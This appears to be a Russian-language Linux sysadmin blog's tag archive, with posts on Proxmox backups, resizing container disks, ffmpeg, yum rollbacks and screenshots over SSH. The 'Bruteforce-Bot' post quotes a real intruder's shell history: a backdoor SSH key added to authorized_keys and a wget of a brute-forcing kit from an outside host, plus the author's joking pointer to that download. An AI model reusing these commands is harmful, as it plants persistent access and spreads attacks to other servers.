Записи с меткой «linux»

Всем привет.
Сегодня мы посмотрим на одну линуксовую сборную солянку от отечественных дистростроителей, разрабатывающих сборку ОС для применения в школах и прочих учебных заведениях.
(далее…)

Реклама

Всем привет. Сегодня мы поговорим о безопасности WINE и важности изоляции вайн-префиксов.
(далее…)

ОС Эльбрус 3.0

Posted: 2019-04-22 in IT, Software
Метки:

Пару лет назад я писал небольшой обзорчик по тогда ещё бетке(?) ОС Эльбус для x86, даже не помню, как ко мне попавшей. Сейчас эта ОС публично зарелизилась, так что если вам интересно узнать, что за это время поменялось, просим в нашу уютную читальню.
(далее…)

Есть такое явление, как поддельные флешки. Это когда берётся мелкая микросхема флеш-памяти гига на два, а в контроллер прошивается мошенническая фирмварь, которая сообщает хосту, что её объём в разы больше (особо наглые могут заявлять о терабайтных размерах).

Чаще всего встречается на китайских барахолках, но и в магазине тоже может попасться.
Объявление вида «полный ёмкость дешевые мультфильм Монстры модель 128 ГБ USB флэш накопитель» по цене 400 рублей — это именно оно.

(далее…)

Надо быстро слить крупный дамп неприватных данных.
В текущем каталоге запускаем такое:

python -m SimpleHTTPServer

И на 8000-м порту видим веб-сервер с индексом каталога. По завершении стопаем этот «фемтосервер :D» по Ctrl-C.
Это изумительно и прекрасно. Само собой, ценные базы и чувствительные данные так перекидывать не надо, для ценных данных есть SSH.

Задача — быстренько пережать видосы (видео -> h264, звук -> mp3), например, чтобы смотреть их на старой хумаксовской приставке (не умеющей mp4a / ogg в звуке), где-нибудь на даче. У «Твое ТВ» как раз такая приставка.

Волшебные ингридиенты: Fedora 28 x64, nvidia-driver-390.67, ffmpeg 4.x, доброкарта GTX 1070, проц не совсем тухлый.

Собственно магия:
ffmpeg -i input_file.avi -c:v h264_nvenc -acodec mp3 -vcodec h264_nvenc output_file.avi

И на скорости в несколько десятков раз выше скорости воспроизведения быстренько получаем наши видосы в новом формате.
Вывод будет примерно такой:

frame=13720 fps=1578 q=33.0 Lsize= 147246kB time=00:09:31.83 bitrate=2109.4kbits/s speed=65.8x

Добро-девайсина 1070 от этого даже не потеет — GPU_Util 7-12%, VideoEngine Util — 35-45%.

libinput vs evdev — тачскрин

Posted: 2017-12-26 in IT
Метки:,

Бывают случаи, когда на новых версиях системы (после крупного обновления) калибровка тачскрина через Evdev Axis Calibration не работает.
Причина — тачскрины на новых системах обслуживаются с помощью libinput, а не с помощью evdev.

Как откалибровать в этом случае тачскрин на линуксе — читаем дальше.
(далее…)

Есть такая штука для хостинга виртуалок — ProxMox. И если вам виртуалки и контейнеры из неё ценны — то вы наверняка делаете бэкапы. В проксмоксе это по умолчанию делается таким образом: подключается хранилище, и прямо из веб-морды настраивается расписание бэкапов. Бэкапы всех ВМ и контейнеров пишутся в один каталог, на каждый бэкап два файла — архив собственно ВМ и лог выполнения. Именно при таком хранении (в общей куче и в определённом каталоге) бэкапы доступны для восстановления из веб-морды проксомокса.

Но поскольку хранилище бэкапов доступно ноде на запись, да и вам может захотеться иметь более глубоко эшелонированные бэкапы, может возникнуть потребность дополнительной синхронизации на другие устройства. А в этом случае имеет смысл уже как-то рассортировать эту кучу, чтобы уже в архивных хранилищах разложить бэкапы виртуалок более человечным способом.

Я сделал такую штуку: сперва сервер с архивами по SSH копирует к себе все бэкапы за определенную дату. А теперь применим простой скрипт сортировки бэкапов, который вытащит из лог-файлов имена ВМ, тип и раскидает выкаченное по нужным подкаталогам автоматически.

Исходно у нас было что-то такое:

$ tree
.
├── vzdump-lxc-112-2017_08_28-03_12_02.log
├── vzdump-lxc-112-2017_08_28-03_12_02.tar.gz
├── vzdump-qemu-572-2017_08_28-04_50_04.log
├── vzdump-qemu-572-2017_08_28-04_50_04.vma.gz
...
├── vzdump-{ещё много чего}

и таких файлов — сотни.

После применения скрипта (путь к каталогу указывается параметром) получим что-то такое:

$ tree
├── CT
│        └─ uber-site.сс
│               ├── vzdump-lxc-112-2017_08_28-03_12_02.log
│               └── vzdump-lxc-112-2017_08_28-03_12_02.tar.gz
└── VM
          └─ test-FreeBSD
                ├── vzdump-qemu-572-2017_08_28-04_50_04.log
                └── vzdump-qemu-572-2017_08_28-04_50_04.vma.gz
 

Такое хранить в архиве гораздо приятней, наглядней и удобней.

Важно : скрипт этот предназначен для наведения порядка в АРХИВНЫХ хранилищах. Его применение прямо на хранилище проксмокса сделает бэкапы недоступными из веб-интерфейса. Если так скосячили — придётся закопировать файлы обратно.

Поскольку скрипт опирается на имя виртуалки из логов — то бэкапы ВМ с одним и тем же именем будут закинуты в один и тот же подкаталог, даже если ВМ успела побывать под разными iD и каждый породил свои бэкапы.

Вот такое вот небольшое упрощение админского труда.

В прошлой статье про PXE я описал массу способов сетевой загрузки самых разнообразных осей с USB-флешки домашнего роутера.
С тех пор вышел новый кноппикс — 7.7.1, и помимо обновления (с выхода версии 7.6 прошёл год), мне хотелось иметь возможность грузить полноценное рабочее место с x64-ядром, поскольку объёмы памяти и аппетиты приложений только растут.
Что из этого вышло — читаем ниже.
(далее…)

Всем привет. Довольно давно я уже делал небольшой обзор отечественной сборки линукса, и вот я решил снова вернуться к этой теме.

За прошедшие годы много чего поменялось — сборки для школ потихоньку развиваются, и там даже появляются новые версии, вышли ROSA и ASTRA (если они окажутся чем-то мне интересны, напишу обзорчик), которые живут своей жизнью на x86, и даже есть видео загрузки компьютера Эльбрус с МЦСТ-шным процессором с этой самой ОС Эльбрус.
(далее…)

Задача : после переноса данных в другой mount_point, капитальной расчистки внутри LXC-контейнера или ошибочного задания слишком большого размера файла диска требуется этот диск ресайзнуть в меньшую сторону.

Веб-интерфейс такого не предоставляет (там можно только увеличить размер), поэтому переведу одну рекомендацию с форума проксмокса (https://forum.proxmox.com/threads/shrink-disk-size.24808/#post-124343), чтобы не потерялась.

Для примера, у нас будет LXC-контейнер № 366, проксмокс 4.2, надо уменьшить размер диска с 8 Гб до 2 Гб, пути стандартные.

По шагам, поехали:

1). Останавливаем контейнер.

2). Делаем бэкап.
3). Проверяем, что бэкап есть.

4). Дополнительно копируем файл с дисковым образом ( /var/lib/vz/images/366/vm-366-disk-1.raw ) в другой каталог, если что-нибудь пойдёт не так. Такой образ закопировать назад поверх битого может быть в ряде случаев быстрее, чем разжать из бэкапа.

5). Заходим в каталог с образом диска:
# cd /var/lib/vz/images/366

6). Проверяем файловую систему:
# e2fsck -f vm-366-disk-1.raw
Видим вот такое:

e2fsck: MMP: fsck being run while checking MMP block
MMP check failed: If you are sure the filesystem is not in use on any node, run:
‘tune2fs -f -E clear_mmp {device}’

7). Делаем исправление:
# tune2fs -f -E clear_mmp vm-366-disk-1.raw

8). Снова проверяем, что файловая система внутри теперь в норме:
# e2fsck -f vm-366-disk-1.raw
Должен быть примерно такой вывод:

e2fsck 1.42.12 (29-Aug-2014)
Pass 1: Checking inodes, blocks, and sizes
Pass 2: Checking directory structure
Pass 3: Checking directory connectivity
Pass 4: Checking reference counts
Pass 5: Checking group summary information
vm-366-disk-1.raw: 21325/524288 files (0.4% non-contiguous), 240360/2097152 blocks

9). Уменьшаем размер самой структуры файловой системы внутри дискового образа:
# resize2fs -M vm-366-disk-1.raw 2G
Размер ФС будет сильно уменьшен:

resize2fs 1.42.12 (29-Aug-2014)
Resizing the filesystem on vm-366-disk-1.raw to 318585 (4k) blocks.
The filesystem on vm-366-disk-1.raw is now 318585 (4k) blocks long.

Обратите внимание на число блоков — 318585 !

10). Обрежем лишнюю часть файла до размера 2 Гб:
# truncate -s 2G vm-366-disk-1.raw

11). Расширим размер структуры файловой сисемы до нового размера файла-образа:
# resize2fs vm-366-disk-1.raw
Это нужно, чтобы внутри файла выделенное пространство полностью было задействовано файловой системой.

resize2fs 1.42.12 (29-Aug-2014)
Resizing the filesystem on vm-366-disk-1.raw to 524288 (4k) blocks.
The filesystem on vm-366-disk-1.raw is now 524288 (4k) blocks long.

Обратите внимание на число блоков — 524288 !

12). Исправим размер образа в конфиге контейнера:
# vi /etc/pve/nodes/vps3/lxc/366.conf
Если vi вызывает у вас аллергию — используйте любой другой редактор, их много. Правим параметр size в свойствах диска:

rootfs: local:366/vm-366-disk-1.raw,size=2G

Сохраняем, обновляем страницу со свойствами контейнера в веб-интерфейсе, убеждаемся, что размер поменялся.

13). Запускаем контейнер.

14). Заходим в него по SSH, проверяем, что всё работает, смотрим на свободное место :
# df -h -t ext4

Filesystem Size Used Avail Use% Mounted on
/dev/loop1 1.9G 677M 1.1G 39% /

1.9 Гб вместо 7.8 Гб места при 677М данных. Это очень позитивно сказывается на скорости переноса контейнера (при отсутствии общего хранилища), времени бэкапа/восстановления и глубине / объёмах бэкапов.

Сегодня я ещё немного расскажу об анонимной сети TOR, а точнее, о некоторых аспектах настройки Hidden Service-ов.
(далее…)

Bruteforce-Bot

Posted: 2016-01-27 in IT, Security
Метки:, ,

Настраивая свою впс-ку, один клиент поставил слабый пароль на одну из учёток.

Что произошло дальше ?
Боты нащупали слабый пароль:
Accepted password for teamspeak from 185.56.80.177 port 60850 ssh2

зашли по SSH под логином teamspeak, и дальше сделали простую вещь:

$ cat /home/teamspeak/.bash_history

mkdir .ssh
cd .ssh
echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAIEAnhdLIoPB1q8Tn2LUsH7edJG7XwaJJ6cjmo3s+GRi\
ViLvNQIHl016+XIUVAL3Y/R5Irhxif88nymSBHgqBdmXtoNxNsdn6PBAPMH9Vx5XJ8Tc\
ELZQ9VW9Q4HfXptrP8Pm+LIya8pn6qhxtFnF3J5fGpfjnWhK3D439rq84l\
ygavU= Master IcS has arrived" >> authorized_keys
chmod 700 ~/.ssh;chmod 600 ~/.ssh/authorized_keys
passwd
php -v
sendmail
php -v
cd .ssh
ls
wget csmioveni.tripod.com//sshd.tgz
tar xvf sshd.tgz
cd .vmware-root/
ls
./start 213
ls

Обломившись с рутом и отсутствием php, херакеры решили немного с этой машины побрутить чужие сервера.

Пос0ны, налетай на csmioveni.tripod.com//sshd.tgz , к0чай прЕватные брутф0рсеры =)
В архиве оказался каталог .vmware-root, в нём — пара скомпиленных бинарей для брутфорса других серверов, словарик паролей и логинов.

Так что настраивая сервер, лучше сразу ставить нормальные пароли и делать авторизацию по ключам.

ТруЪ-чучхе-десктоп

Posted: 2016-01-04 in IT, Software
Метки:,

Всем привет. Отойдя от новогоднего похмелья, вызванного слегка забродившим яблочным соком, спешу поделиться с вами своими изысканиями по необычным образцам операционко-строения.
(далее…)

Сломал Федору.

Posted: 2015-12-02 in IT, Software
Метки:

Penguin_USB_Flash_4Gb_Small

Обновив проприетарный видео-драйвер, немного сломал рабочую систему. Причём сломалось оно как-то хитро,
и грузился у меня после этого только сингл-мод. А значит, самое время узнать про такую вещь, как yum history.

Логинимся в Single-Mode, стартуем сеть командой service network start, вводим волшебное заклинание и видим волшебную табличку в ASCII-графике:
# yum history
Загружены модули: langpacks
ID | Вход пользователя | Дата и время | Действия | Изменен
-------------------------------------------------------------------------------
120 | Amin | 2015-12-01 18:55 | Update | ***
119 | Amin | 2015-11-24 19:45 | E, I, U | 61
.................

Смотрим, что мы поменяли в системе последним обновлением (самое верхнее, номер 120):
# yum history info 120
Загружены модули: langpacks
Код операции : 120
Время начала : Tue Dec 1 21:13:41 2015
Начало rpmdb : 1878:5dfdd10dad671e46d86148fd15ede939521fb779
Конечное время : 21:13:42 2015 (1 секунд)
Конец rpmdb : 1878:6f24fcbf85e3a9553d48ccab3506b361ef5202fc
Пользователь : Amin
Код возврата : Успешно
Команда: update
Пакеты изменены:
Обновлено xorg-x11-drv-nvidia-304xx-304.128-1.****.**** @rpmfusion-nonfree-updates
Обновление 304.131-1.****.**** @rpmfusion-nonfree-updates
Обновлено xorg-x11-drv-nvidia-304xx-libs-304.128-1.***.**** @rpmfusion-nonfree-updates
Обновление 304.131-1.****.**** @rpmfusion-nonfree-updates
........ тут ещё kmod-nvidia-версия-что-то-там и прочие зависимости .............

Опа — обновился видеодрайвер, и после этого обновления возникла проблема.
Просто и без паники откатываем его (да, прямо там же, не выходя из сингл-мода):
# yum history undo 120
Подтверждаем вводом «Y», дожидаемся завершения работы и ребутимся. Наша система снова работает, можно гамать дальше.
Что зачётно — делается это буквально за считанные минуты, доступно из сингл-мода и требует только наличия инета или свого сервера с копиями репозитариев. После этого картина изменится:
# yum history
Загружены модули: langpacks
ID | Вход пользователя | Дата и время | Действия | Изменен
-------------------------------------------------------------------------------
121 | Система | 2015-12-01 20:12 | Downgrade | ***
120 | Amin | 2015-12-01 18:55 | Update | ***
119 | Amin | 2015-11-24 19:45 | E, I, U | 61
.................

Естественно, по команде yum history info 121 можно посмотреть, что именно мы откатили, на какие версии и когда.
Встроенные линуксячьи средства неимоверно мощны, и могут помочь поднять систему даже в самых, казалось бы, печальных случаях.

Почему я это написал ? Ну потому что это впервые за 7 лет использования федоры, когда мне пришлось откатывать установленный апдейт. Всё когда-то бывает в первый раз.

А ещё есть снапшоты уровня файловой системы. Но у меня не было пока что повода их использовать дома.

Подумывая об апгрейде, решил наконец-то заменить одну из наиболее медленных частей в своем компутере. Ну а поскольку я специально не искал лёгких путей — то мне есть что рассказать. 😀
(далее…)

Задача: Есть тестовый стенд для жестких дисков (старый 433-й дохлерон + PCI-SATA-контроллер), на котором помимо линукса со всякими страшными тулзами (из которых особо опасны mkfs, parted, dd и особенно — hdparm ) иногда надо грузить дискетные образы с Victoria / MHDD или подобным низкоуровневым DOS-софтом. Можно, конечно, найти старый дисковод, положить рядом пачку дискет — но это медленно, ненадёжно, неудобно и криво.

Правильный путь — воспользоваться функциями загрузчика GRUB, который умеет необычайно гибко управлять загрузкой.
(далее…)

UniFi 4.6.6 на Debian 8.1

Posted: 2015-08-05 in IT, Networks
Метки:,

Два года назад я делал перенос UniFi-контроллера с виндовс на дебиан. С тех пор довольно сильно поменялись как версии UniFi, так и Дебиана. Вот об этом и поговорим.
(далее…)

Screenfetch

Posted: 2015-08-04 in IT, Software
Метки:,

Заметил тут в обзоре 22-й федоры такую утилиту, как screenfetch.
Это портабельный bash-скрипт весом около 150 Кб, который в ASCII-графике рисует логотип дистриба и основные параметры машины. Пользы не сильно много, но выглядит забавно и работает как на десктопных машинках, так и на всяких серверах и виртуалках.
В федоре есть в репозитории, так что софт доверенный.

screenfetch.sh

screenfetch.sh

А вот и самая старая из машинок, на которой у меня стоит федора:

screenfetch5
Именно с неё я и начну смотреть на Fedora-22, пожалуй =)

Консольный DC++ клиент

Posted: 2015-04-16 in IT
Метки:

Нашёл тут обалденную штуку: ncdc (http://dev.yorhel.nl/ncdc) — консольный DC++ клиент, написанный на NCurses.
В отличие от привычных GUI-приложений, кушаюших память как не в себя и довольно херовенько работающих при большом числе одновременно подключенных хабов, эта тулза весом 200 Кб из репозитария просто шокирует своей шустростью и неприхотливостью.
(далее…)

Понадобилось тут визуально проверить состояние платёжного терминала (чтобы оценить, как реально вписался новый дизайн), настройку которого я описывал ранее в этих заметках:
https://aminux.wordpress.com/2012/10/27/linux/
https://aminux.wordpress.com/2014/11/09/pay-terminal/
То есть потребовалось снять скриншот, причём располагая туда только SSH-доступом. Естественно, хотелось обойтись без всяких сложностей типа форвардинга Х-протокола и тому подобного.
Помогла эта статейка — http://mydebianblog.blogspot.de/2010/08/linux.html , раздел «Ъ™ UNIX® way», само собой =)

Оказалось, что в минимальной установке X-сервера, которую я поставил на терминал, в пакет xorg-x11-apps входит тулза xwd, умеющая делать скриншоты нужным нам способом (прямо с Х-сервера и без лишних зависимостей), и занимающая всего 80 килобайт (сраное ожиревшее bloatware должно сдохнуть в адских муках, да). Однако генерируемый ей выходной файл представляет собой несжатую графику (картинка разрешением 1024х768 занимает 3 Мб) в формате, который у меня из программ понимает только GIMP. Под виндовс такой формат умеют читать буквально пара программ — XnView и Corel PaintShop. Для разового снятия скриншота и его просмотра!! в гимпе можно так и оставить xwd-файл, и его не конвертить, но поскольку скриншот обычно делается для отсылки дизайнерам/разработчикам/прочеее, то лучше его всё-таки сконвертить во что-то более привычное.

Для получения скриншота в более распространённом формате ставим пакет ImageMagick, там есть консольная тулза для скриптовой обработки графики — утилита convert.
Ещё важный момент, про который забывают в большинстве статей — указание переменной окружения DISPLAY перед запуском xwd, поскольку запуск скрипта делается из консоли (по крону или в SSH-сессии), и программе необходимо знать, какой именно графический сеанс вы скриншотите. Также Х-сервер требует своей внутренней авторизации, для избежания граблей со стороны которой самый простой способ — переключиться в нужного пользователя и проверить наличие авторизации командой xauth. Иначе будете при запуске xwd получать такую ошибку:
xwd: unable to open display ''
Итоговый скрипт получился такой:

$ cat /home/terminal/take_screenshot.sh 
#!/bin/bash

XAuth=`xauth list | grep MIT-MAGIC-COOKIE`;

if [ ! -n "$XAuth" ]
then
  echo "  No running X-Server under this user.
  Switch to user with running X-server" && exit 1;
else
  dtm=`date "+%Y-%m-%d__%T"`;
  env DISPLAY=":0" xwd -root > ./$dtm.xwd
  convert ./$dtm.xwd ./$dtm.png
  rm ./$dtm.xwd
fi

Кладём его в /home/terminal, логинимся этим пользователем terminal или делаем «su terminal» (у нас на платежном терминале графика запущена от пользователя terminal, поэтому из-под рута тулза xwd просто так не увидит Х-сервер), запускаем. На выходе получим png-файл весом 50 Кб с датой_временем в имени файла, который уже можно забрать по SSH привычным способом.

Очень просто и сердито, и непосредственно у терминала суетиться не требуется.

P.S. Утилита convert понимает формат выходного файла просто по его расширению. Список опций у неё огромен, если вам нужна массовая обработка картинок скриптами на баше — очень советую посмотреть.

Два года назад я уже писал о том, как настроить платёжный терминал на базе Linux Fedora и ПО RedSystem (http://www.ps-redsystem.ru/):
https://aminux.wordpress.com/2012/10/27/linux/
С того момента вышло уже несколько новых версий федоры, сменилось несколько версий самой ред-систем, да и в скучную рутину пора внести некое разнообразие.
(далее…)

Всем привет.

В этой заметке я снова начну знатно расчёсывать паранойю. Почти два года назад я писал, почему имеет смысл изолировать потенциально опасные приложения и как это делать, где и что гуглить. Через некоторые время я написал ещё заметку, как запускать обновлёный скайп версии 4.2 в защищенном SELinux-окружении и фиксить возможные проблемы.

Если вам интересно — читаем далее.
(далее…)

Приветствую вас, дорогие читатели!
Я наконец-то более-менее привык к вордпрессу, и тут даже стали появляться живые люди в комментариях =)
Недавно в интернеты утекла совершенно примечательная вещь — RedStar Linux Server, версии 3.0
Причём это не просто какой-то там самосбор от Дениса Попова, а самый что ни на есть аутентичный Тру-Северо-Корейский Чучхе-Линукс им. Высшего Руководителя КНДР Товарища Ким Чен Ына !
Если вам интересно лицезреть, каких высот достигло ИТ в КНДР, вы изучаете корейский или вас просто сюда занесло неведомо какими потоками сетевого траффика — читаем дальше.
(далее…)

Задача: с сайта суровых дядек выкачать архив журналов «Cryptolog», 136 файлов со ссылками вида
http://www.nsa.gov/public_info/_files/cryptologs/cryptolog_.pdf
Ручками не предлагать =)

Решение:

seq 1 9 | xargs -I aaa wget http://www.nsa.gov/public_info/_files/cryptologs/cryptolog_0aaa.pdf
seq 10 136 | xargs -I aaa wget http://www.nsa.gov/public_info/_files/cryptologs/cryptolog_aaa.pdf

5 минут — и все файлы у нас в том каталоге, откуда мы запустили эти команды.